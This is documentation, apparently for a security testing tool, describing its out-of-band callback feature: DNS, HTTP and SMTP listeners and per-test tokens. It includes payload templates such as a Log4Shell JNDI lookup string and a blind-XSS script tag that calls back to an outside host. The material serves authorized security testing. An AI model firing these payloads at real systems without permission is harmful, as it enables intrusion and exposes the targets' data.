---
url: https://docs.ogmabox.com/zh-Hant/app/utilities/oast.md
description: 在 Ogma 中設定帶外應用程式安全測試回呼。
---

# OAST {#oast}

OAST（帶外應用程式安全測試）可偵測不會產生可見回應的漏洞。目標會改為向你控制的接聽程式發起對外連線，藉此確認問題。

## 運作方式 {#how-it-works}

Ogma 執行多種通訊協定的本機接聽程式。目標應用程式聯絡其中一個接聽程式時，會記錄互動的來源 IP、時間戳記、收到的資料及注入的權杖。

### 接聽通訊協定 {#listener-protocols}

| 通訊協定 | 預設連接埠 | 用途 |
|---|---|---|
| HTTP | 可設定 | SSRF、盲 XSS、webhook |
| HTTPS | 可設定 | 透過 TLS 的 SSRF |
| DNS | 可設定 | 盲注入、XXE、log4shell |
| SMTP | 可設定 | 電子郵件標頭注入、針對郵件服務的 SSRF |

在 OAST 設定面板中設定接聽連接埠，以及產生權杖時使用的網域名稱。

## 產生回呼權杖 {#generating-a-callback-token}

1. 開啟**實用工具 > OAST**。
2. 點選\*\*+ 新增\*\*，再點選**建立**。每次測試的權杖都是唯一的。
3. 複製權杖。它包含接聽網域與唯一識別碼，讓互動可對應回特定測試。

權杖格式範例：`[unique-id].[your-oast-domain]`

## 在酬載中使用權杖 {#using-tokens-in-payloads}

將回呼權杖注入應用程式可能發起對外連線的任何欄位：

* **SSRF**：以 HTTP/HTTPS 權杖作為目標 URL：`https://[token]/`
* **XXE**：在 DOCTYPE 或外部實體 URL 中引用權杖。
* **Log4Shell**：嵌入標頭：`${jndi:ldap://[token]/a}`
* **盲 XSS**：作為指令碼 src 注入：`<script src="https://[token]/x.js"></script>`
* **SMTP 注入**：作為電子郵件標頭中的目的位址或 URL。

## 互動記錄 {#interactions-log}

互動面板顯示收到的每個回呼：

| 欄 | 說明 |
|---|---|
| 時間 | 收到互動的時間 |
| 通訊協定 | HTTP、HTTPS、DNS 或 SMTP |
| 來源 IP | 發起連線的 IP 位址 |
| 權杖 | 被聯絡的權杖 |
| 資料 | 請求路徑、DNS 查詢名稱或 SMTP 資料 |

點選任一列查看完整互動詳情，包括適用時的請求標頭與本文。

## 將互動對應至測試 {#matching-interactions-to-tests}

每個權杖都是唯一的，因此可在不同參數或請求中注入不同權杖，精確判斷哪個注入點觸發回呼。

## 相關頁面 {#related-pages}

* [掃描器](./scanner.md)
* [檢測發現](../findings.md)